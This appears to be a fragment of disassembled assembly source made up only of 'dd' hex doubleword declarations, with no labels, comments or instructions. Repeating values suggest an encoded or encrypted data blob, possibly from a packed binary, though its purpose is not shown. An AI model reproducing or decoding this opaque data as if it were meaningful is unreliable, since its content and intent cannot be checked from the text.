		dd 127EFC0Eh, 0E83E0527h, 0C8DD6027h, 0E7ECFED0h, 5250AEB5h
		dd 54ACD6D7h, 280C7F30h, 39BF07D0h, 0A456ABB1h,	0E6FDF95Fh
		dd 0F2B77B80h, 0B0DDAEA6h, 344C3CB6h, 54043D49h, 69ACB908h
		dd 538DE0BEh, 3D669788h, 3256CC3Bh, 324203B1h, 361D75B1h
		dd 3E249C17h, 5BDE64A9h, 62DAAE1Bh, 0D11CA02Eh,	3D0EE77Dh
		dd 32571433h, 325C03B1h, 169575B1h, 0C22159Ch, 9C134Fh
		dd 20C7143Ah, 0B95951A5h, 3256ABBDh, 0C3A96AD1h, 0B3309872h
		dd 53F06A7Eh, 3256A958h, 0A9085AB1h, 17C92025h,	0A0A49064h
		dd 283CD8C5h, 0BB7E137Bh, 3AD3E5E1h, 525675B1h,	88300B03h
		dd 0B937F12Bh, 28D0A933h, 0E6FABB7h, 32534281h,	0F099D5B1h
		dd 0DB8D9A2Dh, 325675BDh, 811C9D5Eh, 0D98CBA68h, 85A32F42h
		dd 75D958E9h, 0DB56ABB0h, 3256D5A1h, 6473BCB5h,	1202A395h
		dd 4995F8B3h, 2231BBBFh, 3256F158h, 855937B1h, 5DECCD4Fh
		dd 7791B40Ch, 3256E849h, 32469CB1h, 47A2BAB1h, 0F6E8F06Ah
		dd 0DCB7598Dh, 0A348B5B4h, 7BF01E1h, 3D56D5B1h,	3256E237h
		dd 8A3015B1h, 5336AA5Ch, 7791A5D0h, 3256AF49h, 0BE5937B1h
		dd 3256ABBCh, 3256D259h, 0DDB6B7B1h, 2BC50357h,	0F3E9B5E8h
		dd 33D352D0h, 0CA56AEB1h, 0B10DED3Ah, 5436ADABh, 54033509h
		dd 0CA372B3Ah, 39AA6A3Ah, 81D2B56Ah, 52565DB1h,	0E6DC3207h
		dd 3D886CD0h, 3256FD34h, 6FDD2DB1h, 325303BDh, 502B75B1h
		dd 0B126B966h, 3D56A5CCh, 32568935h, 6F55AFB1h,	0BC595349h
		dd 3256D5ADh, 32406BBEh, 23BF75B1h, 7356BAB1h, 66D4A196h
		dd 4691498Dh, 0ECB5AB27h, 8FEAFA9Ch, 3D528A38h,	3256E43Ch
		dd 0E5D715B1h, 745FA50h, 3256D4BEh, 0B137AEB1h,	0DBA34376h
		dd 0CDA95439h, 3256D958h, 5984C8B1h, 506ED654h,	82DA5A75h
		dd 3D966E43h, 3256BD3Ah, 3258BEB1h, 5932ABB1h, 79B71FF6h
		dd 0C89BA1A7h, 0CDE19CBCh, 32524958h, 33D752B1h, 0CE56AEB1h
		dd 325EDABEh, 0B659ABB1h, 3256D5B3h, 0B9308BD1h, 33D47AAFh
		dd 0CA56BAB1h, 3D5A203Ah, 3256B631h, 3245BEB1h,	7083ABB1h
		dd 774B1DBDh, 7A508A96h, 0DE2DBC05h, 50A8AE9h, 0D9ADDD7Ah
		dd 32092ABEh, 0BB5957B1h, 3256ABBBh, 0E1D7B3D1h, 0B930A2C9h
		dd 0D1D61442h, 33D7B541h, 0CE565DB1h, 3D265531h, 3256FF35h
		dd 324442B1h, 9FB9D5B1h, 328AEBFBh, 9D3E5E7Fh, 32AE04C8h
		dd 6DF2097Bh, 0C5DDC8D1h, 43BF3644h, 0DB56ABB0h, 3256D5A5h
		dd 0B9D49781h, 6F87CF50h, 0A892F67Ch, 487432A2h, 7534A30Ch
		dd 0DB51914Dh, 325E25BEh, 0BA59D5B1h, 3256EAB3h, 759114D1h
		dd 3256BAB0h, 3259B4B1h, 635EAEB1h, 0EF9E1BC0h,	2DDD7B3Eh
		dd 0AF358ABAh, 5291617Eh, 8E3BD60Ah, 0BA59DBF7h, 32565DB4h
		dd 0E2DDC8D1h, 3796D4D0h, 33DCA448h, 0CB56D5B1h, 32551158h
		dd 24D07AB1h, 0DB56BAB1h, 32565DA0h, 0B6E31A95h, 22E68DBBh
		dd 0E8234659h, 0BC0E7FA0h, 35918C2Ah, 0DB367DBEh, 3256BABDh
		dd 514718FEh, 4C0F641Eh, 0B8606050h, 0E0D7CDD1h, 5337FC72h
		dd 0DB36F43Bh, 325675BDh, 93A05CDEh, 18C7E5E7h,	0CDAFB1B8h
		dd 32565F59h, 0F1D6B5B1h, 95C4C200h, 690E5E15h,	3DB5F5D0h
		dd 32513EBEh, 52365DB1h, 2F8E2ED0h, 33D858D0h, 0CB56ABB1h
		dd 0CBD61E31h, 0DB57B539h, 325675B9h, 5C8CEAD0h, 0EE7FC78Bh
		dd 3254E976h, 525657B1h, 325325BEh, 0B330D5B1h,	0DB37EC72h
		dd 325675BEh, 79B981DBh, 0CB165845h, 0D02D795Bh, 53BF61F5h
		dd 0BE596C3Ah, 3256D5A9h, 3256F958h, 0F5523FB1h, 5B99E77Ah
		dd 0D337FFE6h, 9BA2E181h, 3EDD6806h, 0DB506B32h, 3256D5A2h
		dd 0C8EA328Eh, 0C997DCF7h, 91B788DBh, 97D07465h, 0DBCB5CB9h
		dd 325654B9h, 325C42D1h, 0E173D5B1h, 6151539Fh,	7D685252h
		dd 539E31D7h, 0A268DCD7h, 64D2A121h, 0CA5657B1h, 3DC69531h
		dd 3256B734h, 325E03B1h, 5B9D75B1h, 5421E8Ah, 20BF82C2h
		dd 0D56AEB1h, 4C3183D0h, 9A118256h, 52C57A73h, 83EA4F43h
		dd 4CD713EBh, 3DC62A4Eh, 32564135h, 1EBF57B1h, 0DB5657B1h
		dd 3256ABA0h, 971F2C80h, 41F15D30h, 1F50DA7Eh, 0ED457038h
		dd 0CA91D6F8h, 32542558h, 35D858B1h, 3D56ABB1h,	3256D43Ah
		dd 0BFAA16B1h, 28D16333h, 23D6B5B7h, 0DB565DB1h, 3256AEBDh
		dd 9A4001F6h, 0DEA9177Ah, 0DC21AF2Dh, 3DBE8AE1h, 5D5675B1h
		dd 869D9A22h, 2E19B5D3h, 0AB73F5ADh, 35BE0249h,	4956ABB1h
		dd 356BFB3Eh, 6A0D4326h, 680E22E2h, 0BF59ECD0h,	32565DB6h
		dd 32572DBEh, 0CDA357B1h, 28D2AF23h, 0F25D2DB7h, 32606EBEh
		dd 543675B1h, 0D8E7783Ah, 0CE9ED6D0h, 0B5401C3Ch, 0DBAA51ABh
		dd 3256ABBCh, 0A0F23C79h, 5635F237h, 0CF8A3994h, 32C15319h
		dd 0B3595DB1h, 3256AEB9h, 3254D5BEh, 5336ABB1h,	33DADAE7h
		dd 0C756EAB1h, 0BD59BB3Ah, 3256BAB0h, 0CDAF0848h, 28D54923h
		dd 5436A2B7h, 6F37503Ah, 53A75ED1h, 325102D1h, 0D84675B1h
		dd 0B72EA179h, 0B25906CCh, 3256AEB3h, 193736D1h, 3CBFCB7Fh
		dd 8E56D5B1h, 0DB530524h, 593697CEh, 0A20F6E62h, 8B8EDC3Bh
		dd 5331C534h, 0BA598E46h, 3256ABBFh, 32D7DAD1h,	3D56EAB1h
		dd 32567537h, 3D08DBB1h, 32564933h, 3FBFCEB1h, 0D45657B1h
		dd 0E0E57E78h, 0F6C22C83h, 10F16A13h, 0CA2BF6D0h, 80D3B5B0h
		dd 0DB565DB1h, 3256AEB7h, 0F199E088h, 7BE60F47h, 32583CD1h
		dd 44A7EAB1h, 0E73F6835h, 0BED9F3E2h, 49335700h, 32542FBEh
		dd 80E357B1h, 0B33601D0h, 65654647h, 54371298h,	0DBD37A09h
		dd 3256BAA5h, 5A703102h, 3ED5BA71h, 184F6E8Ah, 0E082DD70h
		dd 0F43C00Ch, 0C7FD8C48h, 3310C3BEh, 325E34BEh,	65365DB1h
		dd 90EFC8EAh, 0DBFD369Eh, 3256ABBFh, 5C94B414h,	9BA81943h
		dd 69FC6718h, 8DBFEE4Ah, 52565DB1h, 325347D1h, 39E57B1h
		dd 0DA310B8Ch, 3256D5A3h, 0D002622Fh, 13236F26h, 48E547F8h
		dd 1D5B6575h, 530FEE56h, 2E56A0Eh, 0BA59CACBh, 3256D5B0h
		dd 0CA2B6948h, 5ED37AB3h, 0CB56BAB1h, 0FB5DE5D7h, 0DBFDC848h
		dd 325657BCh, 49EE7BB7h, 0A7FC399Ch, 3E5B05DCh,	3DEE132Ch
		dd 99304F35h, 325BD3BEh, 8A36AEB1h, 495DB2DBh, 489F4A30h
		dd 3D37DCA6h, 5257AC07h, 0BD51B30Fh, 3DFDDBD4h,	32565635h
		dd 325047B1h, 9B7F57B1h, 6ED93223h, 3256F858h, 324703B1h
		dd 1EF775B1h, 22558D15h, 5D87E1F4h, 2B6D6E1h, 0C1C0F185h
		dd 32594215h, 574D5B1h,	68ACC2F0h, 819D8860h, 8ADB3AB9h
		dd 0F5DDA43Fh, 32D9A1D1h, 3D5657B1h, 3256A938h,	530C82B1h
		dd 3D0F1FEAh, 3256733Ch, 0B930DAB1h, 0DB37A46Bh, 3256AEA1h
		dd 30D8D65Bh, 7A65EAC1h
		dd 0F10EA08Ah, 0FD261A38h, 0B33015EFh, 0DAF94C71h, 32565DBBh
		dd 699B3CC4h, 6B92F665h, 39BF0811h, 5D56D5B1h, 7A7FA4DEh
		dd 83451170h, 530CDAF6h, 3ED252EEh, 3D56AEB1h, 32565132h
		dd 32D7A4B1h, 0FB56D5B1h, 0E1E9E5D1h, 32567E59h, 6A9449B1h
		dd 4110A907h, 0DD25690Dh, 3A9436EFh, 33DFA4B1h,	0C756D5B1h
		dd 54068AE4h, 6D3D7C0Bh, 3D37493Ah, 32565C3Ch, 0DEDD56B1h
		dd 32564558h, 9B2F7BB1h, 0A1874DF3h, 0A978EF13h, 0D5F77CF5h
		dd 52CE0AE3h, 3257DCBEh, 3DAEAEB1h, 32565D33h, 0B930CBB1h
		dd 0E0D7B34Ah, 0DA374210h, 325675B1h, 86BC3BEBh, 0CE504705h
		dd 32512FBEh, 653657B1h, 0CBE9A4E9h, 77DD29D0h,	0CEC8AB9h
		dd 3D22189Dh, 3256B83Eh, 53373DB1h, 0B1E12C38h,	0DBA351ABh
		dd 3256ABB7h, 8F1C84C2h, 3D376BECh, 32567C36h, 0D9E0DAB1h
		dd 0D7B7DCD7h, 5336CF07h, 3AD95878h, 3D56ABB1h,	3256D73Bh
		dd 0F0378AB1h, 67AE75B5h, 28BF3BD1h, 653AB9B5h,	6B8D19BEh
		dd 7BE537D0h, 557813D7h, 52BA5ED0h, 53896149h, 0DBAEB132h
		dd 3256BAB4h, 1B214624h, 0DAAECE06h, 325657B1h,	76BC2AEBh
		dd 0DB50CF04h, 3256EAA0h, 0C95B59C9h, 739D81A7h, 5C0B65C5h
		dd 8C75574Ah, 0B0593753h, 3256ABB3h, 23BEAC05h,	7856EAB1h
		dd 4ABCD5BBh, 717D6DEBh, 926DA84Ch, 8D262E44h, 6987E0BEh
		dd 28D9A4D0h, 3D56D5B1h, 3256FE36h, 32599CB1h, 9704BAB1h
		dd 325A47EDh, 469BDB2Fh, 5C0A6EB5h, 32464295h, 5839D5B1h
		dd 0B2357E8Fh, 62C8802Fh, 7FF75540h, 77915E06h,	3256AE49h
		dd 7791AEB1h, 3256AB4Dh, 0B330B5B1h, 52F46678h,	8D302CE7h
		dd 53373A4Fh, 0CA966E48h, 0CB4825D7h, 0B451D576h, 3257ADABh
		dd 0BC59D5B1h, 3256EAAFh, 0DA3715D1h, 3256BAA5h, 0F23A6827h
		dd 90751359h, 0B6180784h, 8D4FFF04h, 7B3EA07Ah,	0B3308BEBh
		dd 3DC6E54Ah, 3256B534h, 3BDF52B1h, 5256AEB1h, 310CEED7h
		dd 53A914BEh, 3DBE2E31h, 3253A935h, 32469CB1h, 992BAB1h
		dd 58597380h, 0A666AEEFh, 542084BCh, 0DB16BB98h, 3256D5BDh
		dd 28931E3Ah, 365EB2CAh, 9EC14E3Ch, 0DBADDD48h,	37442ABEh
		dd 0B33657B1h, 0EB029652h, 0BC9055F3h, 3CBFAAD0h, 75675B1h
		dd 66E75424h, 0D03798D4h, 549E4193h, 0D9ADD7EAh, 36BC2FBEh
		dd 3CBFD5B1h, 0BA56EAB1h, 219D9E8h, 9ABBB7Ch, 0DFCE3359h
		dd 0BC59EE54h, 325657B6h, 325729BEh, 0B2AAD5B1h, 54361A56h
		dd 3D1ED009h, 3256AA3Dh, 325CB5B1h, 0C9A8AEB1h,	65AB9258h
		dd 0FDC16627h, 0B330B4EEh, 3DD6E54Ah, 3252EA35h, 33DCB5B1h
		dd 0C7565DB1h, 2B8F2CB2h, 72AE51A5h, 0D0AD2B4Dh, 363451BEh
		dd 0B836EAB1h, 0BFB8F552h, 325D53D0h, 7F85DB1h,	0E3222C5h
		dd 935320A6h, 0D1AD2BBAh, 364451BEh, 0DA36EAB1h, 325675A0h
		dd 0A0E1BCD8h, 9BA7FFB6h, 55EE323Bh, 0B999D8B3h, 32D6A44Dh
		dd 6956D5B1h, 0C9D78CD0h, 0B65996D6h, 3256BEA9h, 0C2B5DD4Dh
		dd 32522DBEh, 523657B1h, 0C9D6CAD0h, 17D2DAC1h,	3D56EAB5h
		dd 32567F3Eh, 0ACE9DAB1h, 546EFB7Bh, 5437663Ah,	0B2AE493Ah
		dd 3D365352h, 3256D735h, 0DB9761B1h, 325675A2h,	7B098BCBh
		dd 8D1719A2h, 963C93D2h, 37A79154h, 535C93CAh, 8AAD554Dh
		dd 30746EBEh, 0B05975B1h, 3256BAAAh, 3243D0BEh,	22BFAEB1h
		dd 515657B1h, 67796098h, 0EC2D59h, 0F83258A0h, 3D2EF6D1h
		dd 3256AD35h, 3244B4B1h, 9E11AEB1h, 0E9A9D6ACh,	7939391Eh
		dd 0D0461FC5h, 9D173E0Ah, 3D534B31h, 32576135h,	3244B4B1h
		dd 0F2A4AEB1h, 0DEA1B60Fh, 5F37DDE5h, 0C6FD3B2h, 0A9C61AD8h
		dd 3D7B4B31h, 32570135h, 33D352B1h, 0CB56AEB1h,	3D3E6931h
		dd 32570035h, 32463CB1h, 242DEAB1h, 31418D0Ah, 0FF1FEB81h
		dd 0D151D4B1h, 0B936D90Ah, 3250BE4Bh, 177DABB1h, 0BC15F318h
		dd 20BFAAD0h, 185675B1h, 63BD8A2Ch, 0E1E140C3h,	6F686B51h
		dd 599817B5h, 35D454A0h, 0DB50CF37h, 3256EAB8h,	4CC4190Eh
		dd 29C26CD5h, 2FDF52E5h, 5256AEB1h, 32564758h, 4BD18AB1h
		dd 0C2DC697h, 0ACD06A0Ah, 96EDE7D2h, 0B1843B25h, 532A4208h
		dd 0DB4825D7h, 325657A0h, 6282D7ABh, 0D917AD26h, 0F133C841h
		dd 0F32C2BB5h, 0CAB13A17h, 34DD52D1h, 3D56AEB1h, 3256573Ah
		dd 0B330FBB1h, 6A317456h, 0C9D78CD0h, 0B6599D30h, 3256BA4Dh
		dd 324ED5BEh, 21BFAEB1h, 0A75657B1h, 6998DBB8h,	7C58E6EEh
		dd 0F711166Bh, 0B0A9073Ah, 0B93074B4h, 325CB4AFh, 0BD6CAEB1h
		dd 3C0F6D46h, 0F5B51825h, 0C2B15548h, 3256E158h, 0A13A9BB1h
		dd 80F7801Eh, 176EF1E5h, 0B3AD2FD7h, 9FD25871h,	3D56ABB1h
		dd 3256D13Dh, 72E38AB1h, 21BF15D0h, 0FF56BAB1h,	7B13EA4Eh
		dd 0ABB07608h, 3EEF720Ah, 9A465B58h, 0BC59E2C4h, 3256EAA4h
		dd 32566558h, 930C10B1h, 0A8F1F563h, 66EFB3A5h,	0B2EB489Ch
		dd 0C7AFFED9h, 0B1B1474Eh, 0BC59ECABh, 325675BBh, 0CADDDCD1h
		dd 4579240Eh, 0DB0BCF9Ch, 325657BAh, 563E91F5h,	2EEECEB9h
		dd 0BB86BDA6h, 53A389F4h, 3256AE58h, 3ED26AB1h,	0C1C3167Bh
		dd 0AB89B4BAh, 5B5BD1A3h, 57245C54h, 0CE2B69A2h, 22D37AB0h
		dd 5256BAB7h, 32564C58h, 7F2FC2B1h, 0B422604Eh,	0D1A455ABh
		dd 2A09AF05h, 0B33049A3h, 537DB77Ah, 3683003Ah,	39BF5BA5h
		dd 0E956AEB1h, 1B1C9295h, 0A1BE8D5Dh, 0CA0696BAh, 0B451683Ah
		dd 3EBF73ABh, 6456BAB1h, 0CFE0DEC7h, 0BB68F7BBh, 0B24C894h
		dd 0B8599B8Dh, 3256D5BDh, 49EF8CD1h, 32D97A51h,	5356BAB1h
		dd 9AD452E9h, 0C756AEB4h, 20C7ED3Ah, 62AFADA5h,	325150BEh
		dd 0B459EAB1h, 325675B0h, 35D4314Dh, 0CE504737h, 0DB669288h
		dd 325657BEh, 69C36Ah, 67049FD5h, 9FA6168Ch, 52D87604h
		dd 325053E7h, 14615DB1h, 0E9B3FD80h, 30D658E8h,	5256ABB1h
		dd 3D0EB4D0h, 3253BC3Eh, 24D97AB1h, 0DB56BAB1h,	32565DA0h
		dd 0CB532F2h, 280BFE2h,	9D21DA1Bh, 341A528Fh, 5DEC61CDh
		dd 0DB506F32h, 3256BAB9h, 2E87160Bh, 0B9BA324Fh, 0B139D532h
		dd 5242ADABh, 3256C459h, 4BFAA9B1h, 5AB293BCh, 5B0CD8CFh
		dd 7F3EB485h, 8D308749h, 0C70DD9A1h, 526122D0h,	0E2DDB3E2h
		dd 0F0E9E5EFh, 2211FCD0h, 325A31BEh, 0B4595DB1h, 3256AEB7h
		dd 3256DABEh, 0B759ABB1h, 3256D5B9h, 32546DBEh,	533675B1h
		dd 325853E1h, 996C5DB1h, 0A9E2ACDBh, 28B09C4Bh,	17749BEFh
		dd 0B451573Ah, 0B9AEECABh, 0B83645ADh, 3251525Bh, 6A495DB1h
		dd 0CD3B0B5Ch, 30E831A6h, 6A37F206h, 0E3B155D1h, 0CA37A805h
		dd 0CA5E2A38h, 32523458h, 33D252B1h, 0C756AEB1h, 30AE1276h
		dd 3D56ABB1h, 3256DC3Fh, 0F8DD8AB1h, 81770B0Fh,	0BBFDBCEh
		dd 3D565DB1h, 3256A132h, 325CBEB1h, 1AD3ABB1h, 0F79F23EFh
		dd 0D23CAACh, 33AE3076h, 0DB56BAB1h, 32565DBBh,	166964BCh
		dd 0F7BA2198h, 0BD59C173h, 3256D5B9h, 325462BEh, 533675B1h
		dd 0B139003Ah, 0BC595BABh, 3256AEB0h, 5DD4D44Dh, 2650B132h
		dd 325C54BEh, 0B236EAB1h, 0E7EE995Fh, 5322576Dh, 3ABF6A38h
		dd 3956AEB1h, 0BB7FF642h, 0BB4DB65Fh, 3ABFC5F6h, 0C056EAB1h
		dd 0FC8DF577h, 0B115737Dh, 0B7595E49h, 3256AED5h, 32565158h
		dd 0DD5668B1h, 0F5BF4637h, 28D0ED33h, 325677B7h, 85E2DAB1h
		dd 32564958h, 52E19AB1h, 564F3C47h, 3FE471Ah, 8C02A1ACh
		dd 0B90F5B9Ch, 0B93614A7h, 0DBFDB7Eh, 0DB565DB1h, 3256AEA5h
		dd 624FB848h, 0E80987D3h
		dd 0E55EA5C2h, 657B9638h, 0B28B3E37h, 3256B158h, 3C2938B1h
		dd 5E4F8D93h, 0EABF5395h, 3D545332h, 3254DE3Ch,	35D0E5B1h
		dd 3D5675B1h, 3256BB34h, 4FD5A8B1h, 0B659AE49h,	32565705h
		dd 536F19D1h, 331063BEh, 325B03D1h, 0D93075B1h,	0A62FBF4Eh
		dd 2DE52DF5h, 0DB50BD52h, 325657B8h, 0C47F0F4Fh, 63D1603h
		dd 0B2FF8B82h, 3D5675B1h, 32568234h, 3259B4B1h,	75AAAEB1h
		dd 0CD24DC74h, 0E498AE33h, 45FAF47Fh, 0B1A3AA31h, 26BF7059h
		dd 0ED56BAB1h, 220F09C4h, 0F097506Ah, 34698BFh,	0A16C5AA4h
		dd 0DB21D2ECh, 3256EAF3h, 32A95849h, 22BFBAB1h,	0CB565DB1h
		dd 1F2843E2h, 0D51027C0h, 30979550h, 0B171D3E8h, 0DB36EF59h
		dd 325675BBh, 0D276F8D0h, 0D24003F9h, 3CBF669Fh, 355657B1h
		dd 817B0BB2h, 10E8B69Bh, 334FC442h, 1DBF1420h, 0CA56BAB1h
		dd 0A8DDA8E2h, 344C28B6h, 32565158h, 300243B1h,	0B96BE7DFh
		dd 5236D9B5h, 69371448h, 325A36BEh, 0B1595DB1h,	3256AEB7h
		dd 3256D8BEh, 32FFABB1h, 3DD6D5B1h, 32569134h, 3EDA7AB1h
		dd 3D56BAB1h, 32565B32h, 32DEA1B1h, 315657B1h, 35D0A477h
		dd 3D56D5B1h, 3256EB36h, 0BC5989B1h, 3256BAB0h,	3796DE4Dh
		dd 0FCD7C8D1h, 35BE32DAh, 1C56ABB1h, 0B6F4354Bh, 6AAFD938h
		dd 35D476D0h, 0DB50A037h, 32565DB6h, 0EF4759DDh, 0DB76F06Fh
		dd 3256ABB6h, 34A073Ch,	7A5A07F8h, 32567358h, 273D18B1h
		dd 0BB7DCF02h, 0BBA3A6F6h, 0B9365BF6h, 0CEBFCA40h, 0C756D5B0h
		dd 0CB363246h, 0E5A1F4D7h, 0F47DDB74h, 3ED3BD1h, 0C3D7C862h
		dd 0C537893Bh, 3FBFCB69h, 3B56D5B1h, 0F2C5E5FCh, 8C791BF8h
		dd 0D999D5E7h, 3256D6BEh, 0B137AEB1h, 31A35271h, 28D0AC33h
		dd 0C71E29B7h, 3D5EAD38h, 32567C3Ch, 3DAADAB1h,	32565D3Eh
		dd 75DFCFB1h, 30D858BDh, 5256ABB1h, 3ABFB5D0h, 0EE56EAB1h
		dd 9784F9ABh, 0DA7C7E6Dh, 32565DA0h, 4ABB535Ah,	30B7D4A6h
		dd 40E3D988h, 1BBB8148h, 65896ADCh, 42BF14EFh, 0C756BAB0h
		dd 54369D82h, 0F3D7503Ah, 78AA0EE9h, 325C42D0h,	0EEFD5B1h
		dd 104986ABh, 85A77DBBh, 0DB57FC3Bh, 32565DBBh,	0A3995B98h
		dd 0D6C1CB46h, 0B33660FAh, 0BEA6B441h, 0F33D50A4h, 9A3764CAh
		dd 90D3B531h, 3D565DB1h, 3256A63Ch, 30DC58B1h, 5256ABB1h
		dd 0C790D6D0h, 3D542A32h, 3256743Ah, 33ED43B1h,	3D565DB1h
		dd 3256B73Bh, 3242BEB1h, 0AD57ABB1h, 3692130Fh,	3DA88BB8h
		dd 7F4C8A0Bh, 0B7A51513h, 0E95D86B7h, 324E2ABEh, 3ABF57B1h
		dd 9856ABB1h, 0BA71C853h, 0B845BE06h, 2B90312Bh, 0D1D646B7h
		dd 0F155A1B0h, 76EEC8D1h, 325CBF28h, 0C220ABB1h, 73286CF6h
		dd 0E16F4F00h, 0DCD25F0Eh, 0BB37E3FFh, 3FBF55F6h, 6756AEB1h
		dd 4D0F1A6Ah, 0ADDEB423h, 0B23CE40Eh, 0CE5AAD38h, 3256E758h
		dd 8930DAB1h, 0FADDD175h, 0CA8E59D0h, 3256A894h, 0F47D52B1h
		dd 325351BEh, 3D36EAB1h, 0C537B70Eh, 5436DA69h,	0B359973Ah
		dd 3256AEB1h, 36D658D0h, 5456ABB1h, 534DA50Fh, 0DB542A32h
		dd 325675B4h, 26CFB3FDh, 3A11D4DBh, 3256BC58h, 0A44393B1h
		dd 840E6942h, 8E259345h, 0C1B99976h, 0BBE8C8F4h, 5236B6F6h
		dd 0B25905E3h, 3256AEB1h, 3244BED0h, 3973ABB1h,	0E48EDCFCh
		dd 726A35D1h, 61856D67h, 1DAB379Eh, 0B3363DD0h,	1BE42D61h
		dd 53A7DCF4h, 0CA372A04h, 324752BEh, 3EBFEAB1h,	1E5675B1h
		dd 0D65A8423h, 619181DFh, 5328A012h, 325EDEBEh,	0B359ABB1h
		dd 3256D5B3h, 529F8BD1h, 0F1378949h, 0C0DDDCD1h, 0B8E5E4D7h
		dd 0B659FBD0h, 325657BDh, 3256AC58h, 0F599AEB1h, 0C181B89Dh
		dd 6536993Ah, 53099100h, 0CBAA9932h, 0CEECED1h,	0C7679BA2h
		dd 325643D0h, 0B30CD5B1h, 2896E05Bh, 0BC5915B7h, 3256BAB4h
		dd 0FEA5DCD7h, 434A17A9h, 0DB376939h, 3256ABA0h, 0C6CCD2CBh
		dd 0E5F540BBh, 0FC1ABA4Bh, 0DA68EC0Eh, 69ECD6AAh, 5250B432h
		dd 0ECD7A63Ah, 1D169AB6h, 0C79FE6D0h, 3D56D532h, 3252E035h
		dd 3EDCB5B1h, 52565DB1h, 4C916D7h, 1A3B130h, 0B937B30Bh
		dd 0B330B5B6h, 64719358h, 3256F5BEh, 530EBAB1h,	525A284Eh
		dd 0D0D34730h, 0CD3746E5h, 3D36A3C4h, 3256D73Dh, 0DB378AB1h
		dd 325675BAh, 1811B196h, 62DD0EDEh, 535E02F5h, 1FBEABE1h
		dd 0CE56ABB8h, 0B75915BAh, 3256EA83h, 32566558h, 0F6C1C6B1h
		dd 0B137A9B6h, 0AEFA16FAh, 5FE4478Bh, 3D5120A7h, 3256DA30h
		dd 325C03B1h, 0DA975B1h, 0FD662B2h, 6FF4A688h, 32568558h
		dd 0F5D5AFB1h, 325D42A5h, 723ED5B1h, 0B8B1E3F3h, 75773EDBh
		dd 0CD045321h, 3FBFA24Eh, 8B56AEB1h, 0A05407C8h, 0B935A615h
		dd 1806C471h, 0CEAAAF38h, 0CE5A004Eh, 3A23454Dh, 3246B4D1h
		dd 0E6F2AEB1h, 0F2691149h, 0A0E6C7F4h, 8581E38Bh, 0C1DC881Ch
		dd 52618AD0h, 39BE723Ah, 0AA565DB1h, 86861C54h,	7C9AD2E0h
		dd 690467F9h, 0B7BEB4EAh, 5256EAB9h, 0F4A3409h,	0D9D7DCE4h
		dd 39372583h, 2CD2A171h, 0CB5657B1h, 32552A58h,	3CBFB5B1h
		dd 3256EAB1h, 0DF037714h, 0AB5FF6D1h, 0AE4337A5h, 0FAE9A1FCh
		dd 0CE13DCD0h, 32452ABEh, 0B659D5B1h, 3256EABCh, 32567D58h
		dd 0F1DBD7B1h, 1B68A41Dh, 3D519769h, 32551233h,	325042B1h
		dd 9E6DD5B1h, 0A82E4000h, 0CEAA304Eh, 324E31BEh, 21BF5DB1h
		dd 0A156AEB1h, 5C201CB0h, 0A404AEAFh, 30712263h, 3E478E7Eh
		dd 4DD5B570h, 0B659BAB5h, 32565D99h, 3E292D44h,	2FD258B1h
		dd 0DB56ABB1h, 3256D5BAh, 3799C3CEh, 0BF042738h, 0DB0B4133h
		dd 32565DE2h, 54A41FD1h, 534AC90Bh, 0CDA95409h,	32533C4Eh
		dd 0A7F5EAB1h, 8BF34D9Dh, 3256BAB4h, 3250DCBEh,	5436AEB1h
		dd 534F6D08h, 0BE590042h, 3256D5BBh, 8DBD6BD1h,	0B801348Dh
		dd 3CBFDB62h, 4C565DB1h, 7BD3D290h, 0B1322648h,	0E83FB3EDh
		dd 0CC943C6Ch, 0B1A3154Eh, 3D5365CEh, 32562135h, 4DD5A1B1h
		dd 0B759A8A1h, 32565778h, 0F6D713D1h, 8A30E6C4h, 0CE37BCDCh
		dd 2ADD7AF0h, 0DB56BAB1h, 32565DA2h, 0FE2ADC07h, 0F7C25F06h
		dd 95707E4Bh, 3BD124C9h, 3D920FC3h, 32566F3Bh, 0B330DAB1h
		dd 0DBBC2168h, 3256AEBFh, 66F22C70h, 4C67C01Fh,	766EB038h
		dd 0B937E4E5h, 26BF71F6h, 0DE56BAB1h, 2C2A8FDh,	0A877DAE9h
		dd 0D40C0BFh, 0CA222AA1h, 0B9D96C57h, 0B959E6EEh, 325675B0h
		dd 33225348h, 0B9365DB1h, 0BB982F46h, 53013A1Ah, 3256A058h
		dd 0DA88B1B1h, 3616700Ah, 0E1137434h, 0CB52FD3Ah, 0CA5A023Ah
		dd 32579A58h, 0FADD37B1h, 3256A158h, 5CB4A0B1h,	0ED439563h
		dd 53F1BA6Ah, 3CD6B5D1h, 0DA565DB1h, 3256AEB9h,	0F8F27627h
		dd 7CD70111h, 0F0E9DAE9h, 361161D0h, 0F8DD13D1h, 0D316E80Bh
		dd 20BF3CF0h, 0AC56AEB1h, 6B96D419h, 0AE9BC5h, 82E450E6h
		dd 2D903109h, 3E09FE2Dh, 3A098148h, 32D6D8BEh, 60AFAEB1h
		dd 325AD5BEh, 5436ABB1h, 1C632730h, 90DB9409h, 65DD14A3h
		dd 19AA42B5h, 31AF4DE4h, 0DB36BAE4h, 325657B6h,	0BA76F1F2h
		dd 3D60F107h, 0B937150Eh, 0BD5979EEh, 3256BAA4h, 32564D58h
		dd 61CA3DB1h, 0DB241297h, 0C44F165Fh, 2EB1EE93h, 0C78CC185h
		dd 3257F3BEh, 0B1AFBAB1h, 23BF585Ah, 4056AEB1h,	0EEFAAFBBh
		dd 3FC541ECh, 0E04124D9h, 0CC1AB5BFh, 76BF8CEBh, 3D56BAB1h
		dd 32565C36h, 75DD5BB1h, 37BF37B5h, 1E56ABB1h, 3C9EF84h
		dd 538E55BEh, 0CA5A2A3Ah, 0CA52E59Ah, 0CB53B632h, 32324B2h
		dd 0B55951A5h, 3256ABA2h
		dd 3256DB58h, 79591FB1h, 5BCA6465h, 538A0AE7h, 0B18E55EAh
		dd 3D55BECEh, 32564734h, 521753B1h, 3256D258h, 500C1FB1h
		dd 77C2FDEFh, 3D8F91D0h, 32564C3Ch, 39DDA1B1h, 0DB5657B1h
		dd 3256ABB7h, 0FE5AD3EDh, 6EDF2B96h, 523674B0h,	23BFDBD1h
		dd 60565DB1h, 65132356h, 91F77ADFh, 9B52CFA5h, 0B3BEC196h
		dd 0D5A253D0h, 0DB370706h, 3256BAB4h, 0C0166510h, 0CDA916F4h
		dd 0BA59A84Eh, 3256ABBDh, 3256D258h, 8B9EEB1h, 12756E50h
		dd 3256BF08h, 23BF3DB1h, 0E356AEB1h, 0A6EFEEEh,	3653EB10h
		dd 7A142C19h, 9B94C061h, 99A5144Dh, 32473CBEh, 3EBF5DB1h
